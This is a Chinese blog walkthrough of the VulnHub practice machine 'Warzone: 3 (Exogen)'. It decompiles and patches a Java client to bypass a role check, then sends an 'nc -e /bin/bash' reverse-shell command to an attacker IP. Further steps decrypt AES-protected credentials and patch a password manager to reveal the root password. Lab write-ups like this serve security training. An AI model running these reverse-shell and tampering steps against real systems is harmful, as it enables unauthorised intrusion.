Warzone: 3 (Exogen) vulnhub walkthrough

数字IC后端时钟树综合实战:OCC电路优化与时钟树平衡策略 本文深入探讨了数字IC后端设计中时钟树综合的关键挑战,重点分析了OCC电路时钟树优化的必要性。通过实战案例,详细阐述了如何通过手动干预、时钟分组与分段长树等策略,避免工具自动平衡导致的时序违例和资源浪费,从而有效实现时钟树平衡并提升设计质量。 阅读详情

Warzone: 3 (Exogen)

vulnhub地址:http://www.vulnhub.com/entry/warzone-3-exogen,606/

0x01 信息收集到获取shell

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.3
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
4444/tcp open  tcpwrapped

ftp以anonymous登录,下载文件note.txt和alienclient.jar,其中note中含有登录用户名alienum和密码exogenesis。

接着反编译jar包,来到感兴趣的地方。

在Starter.java的actionPerformed方法中,判断用户权限时,由于存在本地鉴权问题(在idea调试过程中验证),所以在判断用户权限前添加一句role = "astronaut";来提升权限。

  public void actionPerformed(ActionEvent e) {
    if (e.getSource() == this.loginButton) {
      String username = this.userTextField.getText();
      String password = this.passwordField.getText();
      try {
        this.socket = new Socket("warzone.local", 4444);
        this.os = new ObjectOutputStream(this.socket.getOutputStream());
        RE login = new RE();
        login.setToken(null);
        login.setOption("LOGIN");
        login.setCmd(null);
        login.setValue(String.valueOf(username) + "@" + password);
        this.os.writeObject(login);
        this.is = new ObjectInputStream(this.socket.getInputStream());
        RE response = (RE)this.is.readObject();
        token = response.getToken();
        role = token.getRole();
        this.os.close();
        this.socket.close();
        if (response.getValue().equals("TRUE")) {
          dashboard();
        } else {
          JOptionPane.showMessageDialog(this, "Invalid Username or Password");
        } 
      } catch (IOException|ClassNotFoundException e1) {
        e1.printStackTrace();
      } 
    } 
    if (e.getSource() == this.resetButton) {
      this.userTextField.setText("");
      this.passwordField.setText("");
    } 
    if (e.getSource() == this.showPassword)
      if (this.showPassword.isSelected()) {
        this.passwordField.setEchoChar('0');
      } else {
        this.passwordField.setEchoChar('*');
      }  
    if (e.getSource() == this.viewButton)
      role = "astronaut"; /*代码修改处*/
      if (role.equals("researcher")) {
        JOptionPane.showMessageDialog(this, "Permission Denied");
      } else if (role.equals("astronaut")) {
        try {
          this.socket = new Socket("warzone.local", 4444);
          this.os = new ObjectOutputStream(this.socket.getOutputStream());
          RE list = new RE();
          token.setRole(role);
          list.setToken(token);
          list.setOption("VIEW");
          list.setCmd("LIST");
          list.setValue(null);
          this.os.writeObject(list);
          this.is = new ObjectInputStream(this.socket.getInputStream());
          RE response = (RE)this.is.readObject();
          this.os.close();
          this.socket.close();
          reportList(response.getValue());
        } catch (IOException e1) {
          e1.printStackTrace();
        } catch (ClassNotFoundException e1) {
          e1.printStackTrace();
        } 
      }  
    if (e.getSource() == this.uploadButton)
      JOptionPane.showMessageDialog(this, "Has not been implemented"); 
  }

继续跟代码,点击查看文档发现是执行代码list.setCmd("tail -5 " + f);,于是将它更改为list.setCmd("nc -e /bin/bash 192.168.56.103 8080");,重新编译执行。

  public void reportList(String value) {
    JFrame view = new JFrame("View Reports");
    GridLayout list = new GridLayout(2, 2);
    Container containerLIst = view.getContentPane();
    containerLIst.setLayout(list);
    containerLIst.setBackground(Color.GRAY);
    String[] files = value.split("@");
    byte b;
    int i;
    String[] arrayOfString1;
    for (i = (arrayOfString1 = files).length, b = 0; b < i; ) {
      final String f = arrayOfString1[b];
      if (f.contains(".txt")) {
        JButton name = new JButton(f);
        name.addActionListener(new ActionListener() {
              public void actionPerformed(ActionEvent e) {
                try {
                  Starter.this.socket = new Socket("warzone.local", 4444);
                  Starter.this.os = new ObjectOutputStream(Starter.this.socket.getOutputStream());
                  RE list = new RE();
                  list.setToken(Starter.token);
                  list.setOption("VIEW");
                  list.setValue("VALUE");
                  list.setCmd("nc -e /bin/bash 192.168.56.103 8080"); /*代码修改处*/
                  Starter.this.os.writeObject(list);
                  Starter.this.is = new ObjectInputStream(Starter.this.socket.getInputStream());
                  RE response = (RE)Starter.this.is.readObject();
                  Starter.this.os.close();
                  Starter.this.socket.close();
                  Starter.this.reportValue(response.getValue());
                } catch (IOException e1) {
                  e1.printStackTrace();
                } catch (ClassNotFoundException e1) {
                  e1.printStackTrace();
                } 
              }
            });
        containerLIst.add(name);
      } 
      b++;
    } 
    view.setVisible(true);
    view.setBounds(10, 10, 370, 600);
    view.setDefaultCloseOperation(3);
    view.setResizable(true);
    view.show();
  }

成功反弹shell。

kali@kali:~$ nc -lvp 8080
listening on [any] 8080 ...
connect to [192.168.56.103] from warzone.local [192.168.56.124] 56454
id
uid=1001(exomorph) gid=1001(exomorph) groups=1001(exomorph)

0x02 获取anunnaki用户权限

将/home/exomorph目录下的aliens.encrypted和wrz3encryptor.jar下载到本地(通过nc下载-过程略)。反编译wrz3encryptor.jar。

  private static void doCrypto(int cipherMode, String key, File inputFile, File outputFile) throws CryptoException {
    try {
      Key secretKey = new SecretKeySpec(key.getBytes(), "AES");
      Cipher cipher = Cipher.getInstance("AES");
      cipher.init(cipherMode, secretKey);
      FileInputStream inputStream = new FileInputStream(inputFile);
      byte[] inputBytes = new byte[(int)inputFile.length()];
      inputStream.read(inputBytes);
      byte[] outputBytes = cipher.doFinal(inputBytes);
      FileOutputStream outputStream = new FileOutputStream(outputFile);
      outputStream.write(outputBytes);
      inputStream.close();
      outputStream.close();
    } catch (NoSuchPaddingException|java.security.NoSuchAlgorithmException|java.security.InvalidKeyException|javax.crypto.BadPaddingException|javax.crypto.IllegalBlockSizeException|java.io.IOException ex) {
      throw new CryptoException("Error encrypting/decrypting file", ex);
    } 
  }

其实就是一个AES加密,看来整个warzone系列都喜欢弄点加密来迷惑人哈。以下是解密代码:

  public static void decrypt(String key, File inputFile, File outputFile) {
    doDeCrypto(2, key, inputFile, outputFile);
  }

  private static void doDeCrypto(int cipherMode, String key, File inputFile, File outputFile) {
    try {
      Key secretKey = new SecretKeySpec(key.getBytes(), "AES");
      Cipher cipher = Cipher.getInstance("AES");
      cipher.init(cipherMode, secretKey);
      FileInputStream inputStream = new FileInputStream(inputFile);
      byte[] inputBytes = new byte[(int)inputFile.length()];
      inputStream.read(inputBytes);
      byte[] outputBytes = cipher.doFinal(inputBytes);
      FileOutputStream outputStream = new FileOutputStream(outputFile);
      outputStream.write(outputBytes);
      inputStream.close();
      outputStream.close();
      } catch (Exception ex) {
        ex.printStackTrace();
      }
  }

代码其实就把ciphermode从1改为了2,得到用户名密码anunnaki:nak1nak1..。

kali@kali:~$ warzone3decrypt strings aliens.txt 
minotaur:m1nom1no..
scylla:scyscy..
echidna:ech1ech1..
cyclops:cyccyc..
anunnaki:nak1nak1..
anunnaki:nak1nak2..
anunnaki:nakinaki..

ssh登陆后进入用户目录。

anunnaki@warzone3:~$ ls
info.txt  secpasskeeper.jar.gpg  underboss.txt
anunnaki@warzone3:~$ cat info.txt 
Remember to use --batch, 
otherwise the passphrase options will be ignored when you decrypt the gpg file
You know the pa[ssh]phrase
anunnaki@warzone3:~$ cat underboss.txt 
。。。。。。
EXOGEN { WARZONE_UNDERBOSS_AL1EN }

0x03 获取root权限

按照提示解密secpasskeeper.jar.gpg

anunnaki@warzone3:~$ gpg -o secpasskeeper.jar -d secpasskeeper.jar.gpg #passphrase为nak1nak1..
anunnaki@warzone3:~$ ls
info.txt  secpasskeeper.jar  secpasskeeper.jar.gpg  underboss.txt

通过nc将secpasskeeper.jar下载到本地逆向分析,将代码Main修改为

public class Main {
  public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {
    try {
      Scanner in = new Scanner(System.in);
      System.out.println("[Warzone 3] Root's Password Manager");
      System.out.print("Secret passphrase : ");
      String secret = in.nextLine();
      Cryptor cryptor = new Cryptor();
      Resources res = new Resources();
      String user = cryptor.decrypt(secret, removeSalt(res.getCipher()));
      String sys = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
      if (true/*user.equals(sys)*/) { /*代码修改处*/
        String plaintext = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
        System.out.println("[+] Success, the password is : " + plaintext);
      } else {
        System.out.println("[x] Failed");
      } 
    } catch (NullPointerException n) {
      System.out.println("[!] Terminated");
      System.exit(0);
    } 
  }
  
  public static String removeSalt(String salted) {
    String unsalted = salted.replace("al13n", "");
    return unsalted;
  }
}

随意输入,得到root用户密码ufo_phosXEN。

[Warzone 3] Root's Password Manager
Secret passphrase : 123
[x] Invalid key length {16 required}
[+] Success, the password is : ufo_phosXEN

anunnaki@warzone3:~$ su - root
Password: 
root@warzone3:~# id
uid=0(root) gid=0(root) groups=0(root)
root@warzone3:~# ls
boss.txt  cron  Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
root@warzone3:~# cat boss.txt 
。。。。。。
EXOGEN { WARZONE_FINAL_BOSS }
by Alienum with <3
STM32与HT7038的高精度电能计量系统设计与实现 本文详细介绍了基于STM32微控制器与HT7038三相电能计量芯片的高精度电能计量系统设计与实现。文章从项目选型出发,深入剖析了硬件电路设计、SPI驱动开发、芯片校准及系统集成等关键环节,为智能电表、能源监控等应用提供了高性价比且稳定的国产化解决方案。 阅读详情

相关推荐

PPO(Proximal Policy Optimization)算法原理及实现,详解近端策略优化

接着上面的讲,PG方法一个很大的缺点就是参数更新慢,因为我们每更新一次参数都需要进行重新的采样,这其实是中on-policy的策略,即我们想要训练的agent和与环境进行交互的agent是同一个agent;与之对应的就是off-policy的策略,即想要训练的agent和与环境进行交互的agent不是同一个agent,简单来说,就是拿别人的经验来训练自己。举个下棋的例子,如果你是通过自己下棋来不断提升自己的棋艺,那么就是on-policy的,如果是通过看别人下棋来提升自己,那么就是off-policy的。

weixin_41106546的博客 9万+

vulnhub靶场【warzone】之3 【系列final最终章】

该系列靶场主要都是对java进行初级考察对于jar包是否会反编译对于反编译出的文件,能否看懂,并进行逆向获取敏感信息gpg格式文件如何解密java代码编写的逻辑判断主要就是考察一点,常见的java函数,以及读懂java代码。

China_I_LOVE的博客 1512

体素坐标(voxel_coors)在mmdetection3d中的理解

体素坐标(voxel_coors)在mmdetection3d中的理解

weixin_38362784的博客 4219

Vulnhub渗透记录2-Warzone2

文章目录下载端口扫描FTP连接1337端口反弹shellssh连接 下载 虚拟机下载地址:http://www.vulnhub.com/entry/warzone-2,598/ 攻击机:kail 192.168.169.128 靶机:192.168.169.131 端口扫描 找到靶机所在ip后进行端口扫描 nmap -A -p- -T4 -P0 192.168.169.131 FTP连接 开启了ftp服务 输入anonymous尝试匿名连接 发现靶机允许进行ftp匿名连接。 发现有三张PNG。 下载

qq_43936524的博客 794

VUE3 实战手记(一)集成 EasyUI for Vue 组件库

本文详细介绍了如何在VUE3项目中集成EasyUI for Vue组件库,包括环境准备、基础安装、配置与集成、TypeScript类型问题解决以及组件实战等内容。EasyUI以其轻量级和开箱即用的特性,特别适合快速开发后台管理系统,提升开发效率。

weixin_30628801的博客 531

三维Copula建模进阶:从对称、嵌套到Pair-Copula(C-Vine/D-Vine)到底怎么选?

本文深入探讨三维Copula建模的进阶策略,包括对称Archimedean、嵌套结构和Vine Copula(C-Vine/D-Vine)的选择方法。通过对比数学特性、计算复杂度和实际应用案例,提供了一套针对金融风险分析等场景的决策框架,帮助分析师根据数据特征选择最优模型。

weixin_27038701的博客 436

vulnhub靶场【warzone】之1

该靶场考察以下几点栅栏加密算法的识别,以及是否能够解密栅栏加密解密出的内容,自己能否一一测试,这里就是最终测试为网站目录对于java代码是否了解一些,以及AES算法所需要的东西,这些都需要去了解,java代码一定要能够看懂,最好就是能够自己编写解密的代码。当然这里也可以使用ai进行辅助,毕竟有那个条件对于隐藏文件是否能够找出,也就是常用命令ls -al对于python代码有简单的了解,至少要知道这个代码做了什么,然后才好进行逆向操作对于提权sudo的一些用法一些反弹shell。

China_I_LOVE的博客 888

智慧城市项目实战:如何将你的地理数据从城市坐标系(如上海2000)转换到国家CGCS2000?

本文详细介绍了智慧城市项目中地理数据坐标系转换的全流程解决方案,重点讲解如何将城市坐标系(如上海2000)转换到国家CGCS2000。通过七参数布尔莎模型、ArcGIS Pro、QGIS开源方案及Python编程实现,帮助实施团队解决坐标系不统一的技术难题,确保空间分析精度。

weixin_28725949的博客 307

vulnhub靶场【warzone】之2

一些加密,这里是海军旗帜加密学会分析代码,根据代码解出密码学会查看隐藏文件,在linux中的隐藏文件以开头当有ssh服务连接时,可以把靶机的本地地址端口进行转发然后会各种反弹shellbashnc等学会python提权学会sudo提权,这里是less。

China_I_LOVE的博客 1210

MobaXterm结合SSH密钥对安全连接阿里云ECS的实战教程

本文详细介绍了如何使用MobaXterm结合SSH密钥对安全连接阿里云ECS的实战教程。通过对比传统密码登录的风险,重点讲解了密钥对的生成与配置、阿里云控制台的密钥绑定技巧,以及MobaXterm的高级设置和故障排查方法,帮助用户实现高效、安全的远程连接。

weixin_29208327的博客 467

RK3588平台开发系列讲解(硬件篇-功能外设2)

RK3588 芯片内置两个USB3.0 OTG控制器(内嵌2个USB2.0 OTG,下图绿色处),1个USB3.0 HOST 控制器,2个USB2.0 HOST控制器。这些控制器与PHY的内部复用图如下:USB3.0 OTG0 控制器支持SS/HS/FS/LS, 内嵌的USB2.0(HS/FS/LS)信号采用USB2.0 OTG PHY, 信号名见下图的红色方框内;RK3588目前仅此接口支持做Fireware的Download,应用中请务必要预留出。

whm128的博客 2510

Warzone: 2靶场渗透

启动的是名为 wrz2-app 的 Flask 应用,运行在 127.0.0.1:5000(仅本地回环地址可访问,外部设备无法直接连接);Nmap 无法识别标准服务,需输入 “用户名 / 密码 / Token” 认证,是靶机核心突破入口,需优先匹配已知账号密码测试。允许匿名登录,仅暴露 anon 目录(只读),无高危漏洞,主要价值是获取目录内潜在线索(如配置、字典)运行于默认端口,版本无高危漏洞,是常规远程管理入口,风险集中于弱口令 / 暴力破解。5,nc连接1337端口,成功获取shell。

sucker的博客 640

做cellchat画图时自环的角度颠倒,如何解决?

🏆本文收录于 《全栈 Bug 调优(实战版)》 专栏。专栏聚焦真实项目中的各类疑难 Bug,从成因剖析 → 排查路径 → 解决方案 → 预防优化全链路拆解,形成一套可复用、可沉淀的实战知识体系。无论你是初入职场的开发者,还是负责复杂项目的资深工程师,都可以在这里构建一套属于自己的「问题诊断与性能调优」方法论,助你稳步进阶、放大技术价值 。

**My Coding Family** 465

Vulnhub靶机实战-Warzone 2

声明 好好学习,天天向上 搭建 使用virtualbox打开,网络配置和我的PRESIDENTIAL文章一样,是要vmware和virtualbox互连 渗透 存活扫描,发现目标 arp-scan -l nmap -sP 192.168.239.1/24 端口扫描 nmap -T4 -A 192.168.239.10 -p 1-65535 -oN nmap.A 开启端口 21,22,1337 以匿名用户登录ftp 三张图片分别是用户名密码和token,旗语吗?只在亮剑里面看过旗语 对照解密后: u

黑白的博客 550

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

DAY29(DAY30拓展):Vulnhub--靶机实战

Vulnhub DC-1、DC-2靶机通关手册

qq_49433473的博客 2723

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

vulnhub-warzone_1

vulnhub靶机

qq_41810304的博客 1033

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

Vulnhub靶机实战-Warzone 1

声明 好好学习,天天向上 搭建 使用virtualbox打开,网络配置和我的PRESIDENTIAL文章一样,是要vmware和virtualbox互连 渗透 存活扫描,发现目标 arp-scan -l nmap -sP 192.168.239.1/24 端口扫描 nmap -T4 -A 192.168.239.5 -p 1-65535 -oN nmap.A 开启端口 21,22,5000 以匿名用户登录ftp,发现了两个文件。 note里面提示请使用jar包加密密码 反编译一下jar包,用juid

黑白的博客 902

Bioventus认可EXOGEN长达25年经过验证的骨愈合功效

北卡罗莱纳州达勒姆--(美国商业资讯)--骨科解决方案的全球领导者Bioventus认可其EXOGEN超声骨愈合系统长达25年经过验证的骨愈合功效。EXOGEN使用低强度脉冲超声波(LIPUS)来帮助刺激机体的自然骨愈合机制并促进骨折愈合。对于无法自行愈合的骨折,其愈合率达86%1,对于有适应证的新发骨折,愈合速度提高38%2, 3。 此新闻稿包含多媒体内容。完整新闻稿可在以下网址查阅:ht...

美国商业资讯的博客 481

vulnhub靶机-djinn3

1、靶机ip:192.168.0.110(开机就提示:不是所有的都需要扫描发现主机) 2、扫描靶机端口 root@kali:~# nmap -A -p- 192.168.0.110 Starting Nmap 7.80 ( https://nmap.org ) Nmap scan report for 192.168.0.110 Host is up (0.0011s latency). Not shown: 65531 closed ports PORT STATE SERVICE V

臭nana的博客 2085

Warzone: 2 vulnhub walkthrough

Warzone: 2 下载地址: http://www.vulnhub.com/entry/warzone-2,598/ 获取shell 端口扫描结果: PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 1337/tcp open tcpwrapped 使用anon

xdeclearn的博客 669

Warzone: 1 vulnhub walkthrough

Warzone: 1 虚拟机页面:http://www.vulnhub.com/entry/warzone-1,589/ Description Info : Created and Tested in Virtual Box, maybe you need to write code Based on : Crypto Scenario : You are trying to gain access to the enemy system Mission : Your mission is to ge

xdeclearn的博客 1130

SECARMY VILLAGE: GRAYHAT CONFERENCE vulnhub walkthrough

SECARMY VILLAGE: GRAYHAT CONFERENCE 虚拟机地址:https://download.vulnhub.com/secarmyvillage/SECARMY-VILLAGE-OSCP-GIVEAWAY.ova 主机探测、端口扫描这里就省略了,每次都写显得冗余了。 flag1 访问80端口,没有什么有价值信息,先dirb跑一下目录 ---- Scanning URL: http://192.168.132.141/ ---- ==> DIRECTORY: http://19

xdeclearn的博客 2498

IA: Nemesis (1.0.1) vulnhub walkthrough

文章目录IA: Nemesis (1.0.1)服务探测web渗透测试获取第二个flag提权至root获取第三个flag参考 IA: Nemesis (1.0.1) 虚拟机页面:http://www.vulnhub.com/entry/ia-nemesis-101,582/ Description Difficulty: Intermediate to Hard Goal: Get the root shell and read all the 3 flags. Information: You need

xdeclearn的博客 2381

VIKINGS: 1 vulnhub walkthrough

虚拟机地址 : https://www.vulnhub.com/entry/vikings-1,741/ infomation PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 访问web。 对目录site进行目录和文件爆破,发现了war.txt。 ➜ vikings gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://

xdeclearn的博客 1927

Orasi: 1 vulnhub walkthrough

下载地址:http://www.vulnhub.com/entry/orasi-1,660/ Hint :just one useless little dot 0x01 信息收集到获取shell 端口扫描: 使用anonymous访问ftp,获取到一个文件:url。该文件为一个共享连接库。先看看main函数: 于是将insert中的每一个字符转换为acsii码,得到一串字符/sh4d0w$s,看起来像是url。 访问80端口,得到一串奇怪的字符,看着有点像口令字典工具crunch的参数,等一下还有用。

xdeclearn的博客 1684

Shuriken: 1 vulnhub walkthrough

Shuriken: 1 vulnhub地址:http://www.vulnhub.com/entry/shuriken-1,600/ 0x01 信息收集到获取shell 服务器只开放了80端口,dirb爬取目录。 ==> DIRECTORY: http://192.168.56.121/css/ ==> DIRECTORY: http://192.168.56.121/img/

xdeclearn的博客 1357
上一篇: Shuriken: 1 vulnhub walkthrough
下一篇: Phonebook
xdeclearn
博客等级 码龄6年 29粉丝 27原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值